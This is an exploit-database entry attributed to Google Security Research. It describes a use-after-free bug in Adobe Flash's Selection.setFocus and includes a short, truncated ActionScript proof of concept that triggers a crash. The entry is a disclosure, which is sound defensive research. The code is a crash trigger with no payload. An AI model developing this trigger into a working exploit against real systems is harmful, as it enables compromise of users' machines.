Adobe Flash - Selection.setFocus Use-After-Free

ID 1337DAY-ID-26124
Type zdt
Reporter Google Security Research
Modified 2016-08-29T00:00:00


Exploit for multiple platform in category dos / poc

There is a user-after-free in Selection.setFocus. It is a static method, but if it is called with a this object, it will be called on that object's thread. Then, if it calls into script, for example, by calling toString on the string parameter, the object, and its thread will be deleted, and a use-after-free occurs.
A minimal PoC follows:
var mc = this.createEmptyMovieClip( "mc", 1);
var f = Selection.setFocus;
mc.f = f;
mc.f({toString : func});
function func(){
        // Fix heap here
A sample SWF and fla are attached. This PoC crashes in Chrome on 64-bit Linux
Proof of Concept:

# [2018-01-03]  #